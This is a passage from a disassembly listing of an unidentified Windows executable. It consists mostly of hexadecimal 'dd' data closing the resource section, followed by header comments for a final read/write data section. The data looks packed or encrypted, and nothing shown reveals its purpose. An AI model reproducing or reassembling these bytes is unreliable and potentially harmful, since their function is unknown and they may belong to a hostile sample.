0EFC31D1Ch, 0DFCFD3FDh, 0A158563Ah dd 3A7FCD91h, 0B7376A2Ch, 0D3096FC5h, 64A0B4F9h, 6B5E23DBh dd 0B244BA64h, 545378Dh, 0ACE26305h, 0DE16618Eh, 756B7F97h dd 2FF200B2h, 29FFF1A7h, 2751DB43h, 0F21CC283h, 817638E4h dd 3E20351Fh, 91816500h, 1A76A88Bh, 6930231Ch, 1723D07Bh dd 7EB51BC7h, 66099C76h, 71095570h, 23AA8848h, 0D9B8C2B2h dd 9AC6D496h, 4555BF8Ch, 0B6D2EA3Bh, 517D01C2h, 0D3CE16DBh dd 0C2C14896h, 0F03028F0h, 9824F261h, 1685C137h, 3A8B53CEh dd 32E0E7CBh, 3646702Ah, 872D7E02h, 53148D5Ch, 1373A9BBh dd 0EB8F5756h, 1458C2A0h, 8AB6C465h, 9B9F02F7h, 135FDCDAh dd 0B4D0F448h, 0C3E2462Dh, 5B770AB5h, 0E00A19CCh, 2533DED1h dd 0FEDBF80h, 0F412348h, 0F3B1B3BBh, 2995E3C8h, 67B4E54Fh dd 163EB0ADh, 22DCA5Eh, 0CB756728h, 6CA88C9Dh, 0F1AA70DDh dd 0B89EFFF9h, 1515FB7Ah, 0A317D962h, 0B236ECFCh, 3EFAD2Dh dd 0E4DD9DDAh, 5A0D16F2h, 2C252CD8h, 733E829Ch, 38186779h dd 9BA0B8FAh, 0DAFA3F4Ah, 0F1BF19DFh, 406C9271h, 0CF278832h dd 6C93F4ADh, 410B2F4Eh, 0FBA48277h, 86BAE416h, 94794A77h dd 4E4FDC86h, 0B0DCE89Ch, 0BFEE90F6h, 580706B1h, 0DC363E9Dh dd 6E99DE45h, 0F82334F8h, 65B6EEAh, 14404910h, 761C0A06h dd 0A5A33D14h, 3E5A527Bh, 0DBF54F03h, 5A86953Ah, 6AFEF31Dh dd 1EA3DA0Bh, 0C4B0BE68h, 0B72B3324h, 36CCEAAEh, 0F5AE1E17h dd 0B880A2F0h, 9CF604AEh, 0FA20A641h, 171220CEh, 0C60B274Fh dd 0C4AA65E8h, 6DD5D82h, 4A98D154h, 790B3A12h, 99FD8976h dd 1376B404h, 88F152B9h, 67075F1Ch, 0F9A09E72h, 0D5FCF831h dd 1DE48E1Eh, 9ECBDC15h, 6CEB4D90h, 49BFE4F4h, 99A45206h dd 885240ECh, 0CB85E198h, 751E1CF2h, 22F3222h, 3448B6F4h dd 0E7DFA70Ah, 7F58563Ah, 109FE1E1h, 8A29821Ch, 6802903Eh dd 2291EB42h, 67E221DDh, 994FBA54h, 9EBA5DFFh, 4DCBD6B0h dd 2E041BD8h, 476CFD5Ch, 0C8F200ABh, 0D600FE3Eh, 0DE309CC8h dd 725A3AA3h, 842438DAh, 0E3A4713h, 69686880h, 14D722FFh dd 7F2A3B4Ch, 89F9A25Fh, 1B81C8FEh, 8DF526Dh, 23CAFB54h dd 545B2D9Dh, 0B7E1C640h, 2543DBBFh, 41D4E28Ch, 0B6E2F02Bh dd 96A0C029h, 56F15AFEh, 0E20C1A63h, 5C12EE57h, 7A273BDEh dd 0C374469h, 0E93373C2h, 276E5EA0h, 3662FC9Fh, 647DD328h dd 6F5EAC16h, 14E9FD65h, 5236D727h, 0FDD4C340h, 0E2963B10h dd 0E9B1A608h, 0D6D19E0Bh, 0C1CFC1A2h, 3DA93ACEh, 6BCD05B5h dd 0E00A3FD4h, 114AC425h, 0CC0CAD75h, 5AF571EEh, 0F01401ACh dd 26526003h, 5A17015Ch, 260F134Ah, 51E97534h, 0DB8AA869h dd 5FAED290h, 51233D97h, 0D9B4F247h, 96C1D012h, 0F2818F0Ch dd 0B74B13C6h, 4DECCA8Fh, 0FFE15426h, 173B46C2h, 0BE467584h dd 6FDB638Fh, 8036AD9h, 0E9664B7Dh, 147A5F9Dh, 0B29D9416h dd 707915A9h, 8D838932h, 58ACCACBh, 6A96A4A6h, 9525EF5Ch dd 8682DD03h, 0BAB373F3h, 1745DCB6h, 0B0ECC4EFh, 336103A1h dd 0CDC828C6h, 598DB133h, 0EA240CBDh, 0D64DA557h, 83323EDAh dd 1470639Fh, 0AA265E8Fh, 0CF5C6A07h, 0E40E1B7h, 10B16D30h dd 33F0F17Ah, 38C8C72Fh, 1FD1C932h, 0C9DCDF0Bh, 0E0D1A113h dd 72FFDAFDh, 58882719h, 5D6BA479h, 0C8B66EACh, 0B0564547h dd 4FA7ADD4h, 4F201EC7h, 42F3CFFh, 0EC734F7Bh, 46B3A5FBh dd 635EE5B9h, 3C687620h, 0DFB2F48h, 0BCB63938h, 8439C6E6h dd 173523A3h, 0D6AE8C48h, 6FEECC1Eh, 0AEE01117h, 88AC6D90h dd 0A2227796h, 4CFBC228h, 0D8021119h, 0C6781EA0h, 0A21E2CD9h dd 97D2318Ch, 100C6325h, 95460689h, 0B1D1765Eh, 3A565A79h dd 661F0FA5h, 0B503900Ah, 6B6F6E48h, 72F4FF07h, 3553BC0Eh dd 8E8AE611h, 0B6BD437Fh, 5586E4BEh, 88CA9129h, 0C667FFABh dd 8E003E90h, 0EB9DDC4Dh, 0F21D7E52h, 3BAA5EE4h, 24E1DBFh dd 81DDA953h, 0C3565424h, 3864735Dh, 46BA3EA7h, 0E38F8E38h dd 16038208h, 74F4B565h, 29AAB863h, 0A6ED538Fh, 0CD90D44Eh dd 82C97773h, 0F569F0AAh, 4F33FD94h, 0FD74E7h, 692C684Dh dd 0C497309Eh, 0FD8567D1h, 0D4FC533h, 6823009Bh, 0DAB66778h dd 1FCF9B43h, 36FB5A24h, 0A17DD512h, 6F90C8CFh, 6DD4ACE5h dd 0FE9C3DB3h, 0C43D376Dh, 0F7715B74h, 2DD2D0A4h, 0D355D5AEh dd 0B0EECC88h, 0B6492136h, 0DB0A28EAh, 0DE364D67h, 8DA53BE0h dd 39CABD11h, 6BF1D83Ch, 0AF525024h, 44E1995h, 283E2C26h dd 5116DA37h, 5E8A982Ah, 0E967F1D0h, 7A96A126h, 0A2915793h dd 1B3DD04Ah, 0A4E0CBF0h, 0BD211415h, 3F13C120h, 0AC7F814Ch dd 0B40826ECh, 0BA164ED0h, 6BB1CD8Eh, 833370C6h, 266C387Fh dd 26B09F08h, 32343C46h, 6A01EFDBh, 0CBF38802h, 5CB8B83Bh dd 6AFC70C5h, 28964D0Eh, 0A8D17595h, 13FCE48h, 0A2FEF60Fh dd 9EBF6F1Fh, 0BA63F892h, 0CC6DF995h, 570624EAh, 5F9F1E9Dh dd 0F8121EA7h, 322B6A61h, 816BB373h, 227E7261h, 1E2BE79Fh dd 15C77812h, 0B69A2DF2h, 47E611B3h, 39C5A27Ch, 27F3E009h dd 0AE852B97h, 6DEECC46h, 90E6DB11h, 0DDFF2B92h, 0D9D2DC9Ah dd 0A79465C1h, 9A3E76DBh, 847748BFh, 0D8121DB6h, 2843508Ch dd 413E7ADBh, 6518095Dh, 5B19345Fh, 520D0452h, 2419C75Ah dd 34EBE048h, 3AE6C519h, 2D2CB0Bh, 0F1CBDF0Fh, 0F1D49928h dd 0DFAEBDF0h, 0DFBD85F3h, 0DBB6A8EDh, 0AC9963DFh, 0AB7075C8h dd 94795896h, 987F5BBDh, 6E426A8Ah, 4C452A9Dh, 702B2C51h dd 482A0774h, 5C09064Eh, 1411EE45h, 3EF6E57Bh, 1EF9EC27h dd 2DFC833h, 0E3C5D614h, 0E1D3BC13h, 0D094A5EEh, 0AAA297E7h dd 0ECA2BDCFh, 82A041FCh, 0B56943E6h, 8B7D73BAh, 0A5405EB0h dd 6F4F568Dh, 4D663485h, 793A2475h, 4F001060h, 570D016Eh dd 3E37DC44h, 26EFE248h, 368EEE23h, 15FBD835h, 0DC5F016h dd 8CBAC604h, 2F94847Eh dd 0DAA4EB2Ch, 0DB8B88F5h, 0AF849086h, 0A39262C5h, 8C6534A7h dd 0BE1A47B2h, 0DE6375ABh, 76402E89h, 772B249Bh, 6D073706h dd 7C075048h, 643E3767h, 2017FA10h, 6ABFEF30h, 6E9A4007h dd 0FDF5B660h, 0BA961683h, 0F741147Ch, 0A6D2D09Fh, 9E817B67h dd 2A2FFC96h, 0BBC07EAAh, 0F5BF93DAh, 0B71816F8h, 8908084Ch dd 34B424C4h, 3B314C03h, 0D73DD87h, 42EB6E28h, 24CB2B24h dd 12F90791h, 0D18AA86Bh, 5CB1CED5h, 3C2F4E5Eh, 76FA4E96h dd 74C36181h, 298E3547h, 82CB4513h, 0C086AAA4h, 5A0506D9h dd 0DE383CBBh, 0E4325853h, 126247DAh, 83340E4h, 380109A9h dd 241C124Ch, 180FF9E9h, 80677A14h, 4C109C46h, 0A5F57E10h dd 0FF695BB1h, 78949851h, 84C600EFh, 9F281E87h, 0F1CEDC86h dd 0FF83A9D2h, 0F2AED6F1h, 580706FDh, 0DC363E91h, 15ED7426h dd 0F829D823h, 55643EEAh, 26731FBDh, 6E021828h, 41C99514h dd 0D66A4808h, 4C78863Ah, 28F6E749h, 0EE0CC25h, 89F2B01Bh dd 0B49AB3FDh, 8B3B4576h, 0AFCCEAAEh, 905765A3h, 35E8C6B9h dd 0FBDD232Ah, 4FFB43BEh, 0E8220ABDh, 0F6244649h, 0B1A23CE8h dd 120E52BDh, 2DF1D75Dh, 0C65A5839h, 0C3978580h, 0DAF34348h dd 5884A21Ch, 0F437231Ah, 74A09E78h, 0A2FE29EBh, 0C4ECCA44h dd 9EA0D9E8h, 0ACDA8EC2h, 2F19749Eh, 0C9C429BCh, 0AD58D039h dd 659D93E8h, 0A61E1CF8h, 0B7A03C8Ch, 100C6964h, 4E1A0E56h dd 0B9A73441h, 3A565F0Bh, 45E17D74h, 9082A011h, 54BDB0CDh dd 6076AC56h, 7F534597h, 0BEA8B5FFh, 0D04D1180h, 0FCD6D49Bh dd 50D7ADC8h, 380DF256h, 0C34C8B7Dh, 0B0581CF8h, 1CF41E89h dd 0C7D4C716h, 3E2F0B77h, 43300000h, 0D8898C3Ah, 0BDA38DE3h dd 46429566h, 0F6EB6Eh, 0E7035575h, 70AC842Bh, 2FFBE933h dd 0DDE99720h, 0B0AF4181h, 3D2BE2BCh, 0B6D2DAFBh, 0B1EF1669h dd 0D3F2E4C3h, 0AA5F1AC6h, 0A05B7F98h, 0B26C18ABh, 99C844BCh dd 1A76798Fh, 28546EE4h, 652A231Ah, 25260A4Dh, 131BF95Ah dd 0F573CA44h, 6EAA825Fh, 531D3BF3h, 0E2B6F445h, 98C4D2B4h dd 59D28ADCh, 84CAA30Dh, 7C7B71A6h, 5CFC3AAAh, 0D021EF79h dd 0B94A70D2h, 0D63FA11Fh, 0CEB642DEh, 0C3D1DCF0h, 76525015h dd 6261044Fh, 426C1474h, 83830A34h, 0A17035AAh, 5E2525AFh dd 7AA6844Bh, 0DCC918h, 69C2D069h, 94FA471Dh, 0B2D20496h dd 93BBFAA4h, 0FCB14BFCh, 924C38F0h, 79E9249Ch, 0FA1418AFh dd 834287Fh, 0A3CF4FFAh, 246046AAh, 0EFE3E14Fh, 0A86C4A0Eh dd 0B1857A02h, 5C889AA8h, 24DFF34Eh, 2CE1FC15h, 0CAFE8444h dd 0E5553178h, 27CEECACh, 8558E554h, 2DEAF8A0h, 0CDF803D9h dd 3CB399C0h, 0B31412D6h, 0D2DB8D51h, 0FFD93EDAh, 97BFB209h dd 1264A1BBh, 0B4536A14h, 3E6A7A32h, 4DE86AB1h, 32D2943Eh dd 6894A34Dh, 5C7F25A5h, 4031BE58h, 92BECDE6h, 0CA1851D4h dd 3B25BA92h, 0BCD8DC5Dh, 0BEAFC42Ah, 0C98C7AB3h, 7DED20CCh dd 0F6100443h, 0B9ACDE03h, 120E6B64h, 0AD652F04h, 1E7AFE97h dd 0A9972620h, 4A46AEC7h, 0DC8B52B9h, 6692A1C3h, 0FFACEED3h dd 0D9E4366h, 0A09C58F1h, 0B04F1E82h, 0ADD8D6BDh, 0BB8CF4F4h dd 5C0B00C7h, 0D8323A49h, 0E9EFE649h, 0F41F4C5Ch, 97A0A9E6h dd 100C697Ah, 4D184868h, 6BDF3EFh, 0FAE3742Eh, 49340723h dd 0EB0F903Ah, 64A0BEF8h, 7376A4E7h, 0E8534593h, 8EBAC8E6h dd 152EFDDEh, 5582C0BAh, 88CE9709h, 794F8DABh, 67003E9Ah dd 12ECF4C9h, 6791D529h, 1B184Fh, 1A524798h, 4E485600h dd 0DBC39B5Dh, 0B5644236h, 0CB66A46Eh, 64AEF1ADh, 0D481CC46h dd 54D8215Eh, 764A7976h, 9EB98C72h, 0D0D4D634h, 8C90E98Fh dd 0B9037092h, 95F81E69h, 0C3DA48BCh, 6F5C2839h, 0C0310769h dd 0FE34DEE2h, 221244F0h, 34662BC8h, 12744C2Ch, 1847553Fh dd 3C550610h, 580DA916h, 2EC5D50Eh, 91CDA872h, 4C82AFF5h dd 2672456Eh, 0F2C4D27Ch, 0F585B08Ah, 9E117B67h, 4F65FC96h dd 0D1CC1F87h, 0FBE918AEh, 0BF15EFB9h, 0FC263108h, 6E1064EEh dd 0E71351F6h, 1678799Fh, 38A4ED18h, 2A659776h, 507C8A3Ch dd 7E4E25CFh, 3FCFA660h, 505721A1h, 4831C25Ch, 234F8404h dd 0A4E0F5A7h, 0A7EC4915h, 4DECFA94h, 0FFD7263Eh, 0B4C63DC2h dd 0BF4075D0h, 0D0C9A721h, 0F0B040DCh, 876D31FAh, 91DDA083h dd 326E4739h, 0EE9E7794h, 0A61A9847h, 0A37760AAh, 8981D62Fh dd 79D33F55h, 49392A81h, 294D0053h, 0A2FEF7A9h, 475B4E67h dd 41B94149h, 0FDD2E724h, 0B3BB94C0h, 0EB1412DBh, 0C84A1AA8h dd 0F9313E9Fh, 246AD46Dh, 0CF3DC06h, 305C5A39h, 0BBAD6956h dd 4C48A6A2h, 5A86943Eh, 45BA278Ah, 9FA2B06Ah, 7B4F4060h dd 92BA0E2Bh, 8DE36F09h, 518CE8A2h, 8CC2B735h, 340E87AFh dd 0DABF96B1h, 6D9B20CCh, 0F61000E9h, 0FB793C82h, 2214C663h dd 2F8CDF04h, 2E5ACC96h, 6CA85D20h, 1A75EE7Eh, 58EC9356h dd 3052A04Ah, 5E853BA7h, 7A2DBC56h, 9A38C58Bh, 17CAD881h dd 9CF6D115h, 816B799Eh, 44F43283h, 0E82C5329h, 8C424FCAh dd 61E17CD8h, 21D10AFh, 1FC3B177h, 1E488086h, 0D3580C10h dd 0A4843ABh, 0DE17D2Ch, 0D582A010h, 0E09F61B0h, 729EAE97h dd 0AEE73FEDh, 4789C842h, 0CC991583h, 0FBD28EDFh, 96D34763h dd 520D009Bh, 0D6302493h, 6001DC4Dh, 0F21C284Bh, 85A2F1D7h dd 0E0A69BDh, 74190751h, 2A596411h, 4DF18D4Ch, 0C372B000h dd 20481F8h, 0EB8E9C44h, 40B2F9D1h, 35217B62h, 0D23A7E48h dd 48F5D47Eh, 5923238Fh, 336B116Dh, 0C4C0D0F7h, 6BC2473Ch dd 0E20C00C6h, 3119FAE7h, 1FDFC715h, 2260C179h, 158553CEh dd 0D15229BBh, 65EF46F9h, 7C77130h, 1BAE8F22h, 63A45B2Fh dd 31A02982h, 85C6DF17h, 9FFDA1Ah, 0EAC5DE06h, 9A996B55h dd 0B7F4AC13h, 8663ECE4h, 80BF5FDh, 6531D9E7h, 0EE280899h dd 0B8AD6D23h, 82BC4ECAh, 18445144h, 0AD91A039h, 0B96B85D7h dd 7243539Bh, 8FF77634h, 62265171h, 509ED431h, 56A4C324h dd 0D488684Ch, 0B8FE3C0Eh, 0A4EC03FCh, 7A3D04E3h, 85D1FB2Fh dd 0BBFA4DEBh, 9D5B2BC9h, 69192482h, 5DBCD97h, 5F0E4367h dd 190101B3h, 0DBAF628Ch, 710951E9h, 0C4633471h, 0B1857703h dd 6FCBC17Dh, 4C12AB7Ch, 455B4DA3h, 0C9E6933Ah, 6BDB4A77h dd 79FD2379h, 4F22A97Ch, 0B06EF75Dh, 0FE07F94Eh, 0DC10FC12h dd 84FC22CEh, 10DDCF23h, 6313EEAh, 94ADCCA5h, 0CB4E6C21h dd 305C6B0Bh, 0B5588746h, 7C56D585h, 780FF03Eh, 25AA232Ah dd 7E27BF00h, 0FB0BE69h, 4CBDF028h, 0F0F75BE2h, 565FE7D7h dd 4BE8F6A0h, 0EBF612ECh, 5F0B12BEh, 0E8122027h, 0F47C6D2Ch dd 4CEB8E7h, 6CBF4BF6h, 6C7A24h, 0FADE6732h, 0D4687620h dd 0B5897AE1h, 584D1033h, 2419A04Ah, 64EA2550h, 86DD7D4Dh dd 95570A47h, 0D4431081h, 0F75D6F80h, 52E6C4B0h, 360BFCD3h dd 0D802BF54h, 0B18D95CAh, 0F71E1CF6h, 3203617Bh, 0EDAAA1F4h dd 9A45A7FDh, 2C58669Fh, 1435C195h, 16FF821Ch, 0BE5C9306h dd 9B6F6037h, 381FD124h, 80ACDA40h, 0D8444392h, 11DCAC83h dd 9AC6E43Bh, 0A89EF19Ch, 0C7F48012h, 73F359BAh, 0E6ED1D79h dd 0AC438E25h, 921A37B6h, 0EB8C07Fh, 952E5600h, 0D5A9F99Eh dd 0DFF89AE3h, 0CD287FD5h, 1E838272h, 64CF1156h, 0F9B4E97Fh dd 7EAAE7E5h, 0ACFE0170h, 0BAE6F45Eh, 23FCA905h, 3369E0D0h dd 0C4C0D0FFh, 0A0F6468Eh dd 0EA4693C5h, 730A6AD5h, 75286E81h, 3C191B75h, 120452FEh dd 1B04210Dh, 14E914C8h, 1C72F14Ch, 7C4931B5h, 6F8C9A74h dd 916714D6h, 2F1D499Fh, 75B6F440h, 0A8EE4FE9h, 0E9671F8Ah dd 4BE0DEB6h, 0F2C4FD33h, 0EA7187B5h, 6D0A28EAh, 0DE366547h dd 967465E0h, 3D80BDEEh, 0E74461D2h, 1678F59Fh, 3D59118h dd 0BD6E4C08h, 60568BA1h, 713F1542h, 9398967Dh, 4A8887EBh dd 1D4B946Ch, 96F2FAF7h, 8AE77B0Bh, 71DEECA6h, 0C0ECFA4Ch dd 0CE9055B3h, 0F729FB43h, 1C4E24E0h, 82A1F3D1h, 8D3370F9h dd 0DEC18C3Ah, 0E55FAEF7h, 24B1493h, 5051B924h, 3B7AA232h dd 2009F05Ch, 1BFAA86Ah, 90C4A129h, 794D3FAEh, 828CB0Dh dd 4A31237Bh, 4F231546h, 9315D6C3h, 0DFCC50C9h, 0DC063178h dd 4FFC42CEh, 8DDDCF23h, 2275B5D3h, 3BF5C0C8h, 0A94E6C2Bh dd 0B13A6244h, 4D687E18h, 4C10D015h, 0D1866B3Eh, 3A94C888h dd 0AF374F0Ah, 7B08E42h, 0AC3FC4B2h, 0FCF3E5D8h, 6859EBE7h dd 41A11EA4h, 0B41EFB50h, 0BBFBED41h, 0E866980Fh, 47CB2EDAh dd 42F1350h, 122EA3F6h, 8E5A04h, 2E6AD012h, 3F807620h dd 8876842Eh, 0C099218h, 485FAC6Eh, 8A056DBh, 8246DC7Fh dd 1BBCCA74h, 0C3FAFCD6h, 4159FC1Bh, 0BAD6DD75h, 361BBD45h dd 0DCC07143h, 1180h dup(0) _rsrc ends ; Section 9. (virtual address 00029000) ; Virtual size : 00001000 ( 4096.) ; Section size in file : 00000200 ( 512.) ; Offset to raw data for section: 00028A00 ; Flags C0000040: Data Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure data ; Segment permissions: Read/Write _idata2 segment para public 'DATA' use32 assume cs:_idata2 ;org 429000h align 2000h _idata2 ends end start